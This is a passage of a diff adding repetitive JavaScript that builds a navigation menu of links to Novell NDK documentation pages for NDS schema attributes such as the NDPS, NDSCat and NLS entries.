+ var navElement = navigationLink("Color Supported ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk992.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Database Dir Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1010.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Database Volume Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1016.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Datapool Location ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1022.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Datapool Locations ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1028.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Delivery Methods Installed ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1046.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("displayName ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3oorbo.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Employee ID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1114.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Entrust:AttributeCertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1126.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Entrust:User ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1132.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("GW API Gateway Directory Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1204.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("GW API Gateway Directory Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1210.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("IPP URI ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1300.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("IPP URI Security Scheme ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1306.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("jpegPhoto ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3onfdu.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("labeledUri ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3onkke.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP Class Map ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1372.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("ldapPhoto ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a3op8zp.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAPUserCertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1504.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:ARL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1510.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:caCertificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1528.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:CRL ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1534.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("LDAP:crossCertificatePair ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1540.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Authorized Range ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a9j2co5.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Default Range ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a9j2cob.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Domain Policy ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a9j2coh.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Label ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a9j2con.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MASV:Proposed Label ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/a9j2cot.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Maximum Speed ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1714.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Maximum Speed Units ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1720.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MHS Send Directory Path ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1774.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("MHS Send Directory Volume ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1780.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Accountant Role ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1792.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Control Flags ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1798.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Database Saved Timestamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1804.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Database Saved Data Image ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1810.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Database Saved Index Image ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1816.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Default Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1822.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Default Public Printer ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1828.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Job Configuration ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1834.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Manager Status ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1840.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Operator Role ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1846.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Printer Install List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1852.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Printer Install Timestamp ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1858.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Printer Queue List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1864.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Printer Siblings ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1870.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Public Printer Install List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1876.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS Replace All Client Printers ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1882.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS SMTP Server ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1888.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDPS User Role ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1894.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual All Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1900.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Attribute Count ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1906.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1912.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Base Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1918.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Catalog Size ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1924.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual End Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1930.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Filter ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1936.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Object Count ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1942.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Return Code ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1948.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Scope ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1954.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Search Aliases ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1960.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Start Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1966.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Actual Value Count ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1972.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:All Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1978.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:AttrDefTbl ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1984.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Attributes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1990.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Auto Dredge ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk1996.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Base Object ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk2002.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:CatalogDB ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk2008.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Catalog List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk2014.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Dredge Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4008.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Filter ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4014.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:IndexDefTbl ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4020.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Indexes ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4026.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Label ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4032.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Log ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4038.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Master Catalog ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4044.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Max Log Size ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4050.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Max Retries ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4056.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Max Threads ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4062.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Retry Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4068.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Scope ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4074.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Search Aliases ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4080.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Slave Catalog List ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4086.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Start Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4092.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NDSCat:Synch Interval ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4098.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Common Certificate ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4200.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Current Installed ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4206.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Current Peak Installed ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4212.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Current Peak Used ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4218.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Current Used ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4224.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Hourly Data Size ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4230.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:License Database ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4236.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:License ID ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4242.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:License Service Provider ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4248.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:LSP Revision ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4254.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Owner ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4260.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Peak Installed Data ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4266.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Peak Used Data ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4272.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Product ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4278.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Publisher ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4284.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Revision ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4290.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Search Type ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4296.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Summary Update Time ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4302.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Summary Version ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4308.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Transaction Database ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4314.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Transaction Log Name ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4320.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Transaction Log Size ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4326.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NLS:Version ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4332.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notification Consumers ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4344.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notification Profile ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4350.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notification Service Enabled ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4356.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notification Srvc Net Addr ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4362.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("Notification Srvc Net Address ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4368.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
+ var navElement = navigationLink("NRD:Registry Data ","http://developer.novell.com/ndk/doc/ndslib/schm_enu/data/sdk4380.html",currentLevel,index,levelIndexes[currentLevel],levelParents[currentLevel],"");
+ navigationTree[index] = navElement;
+ index++;
+
+ setLevels();
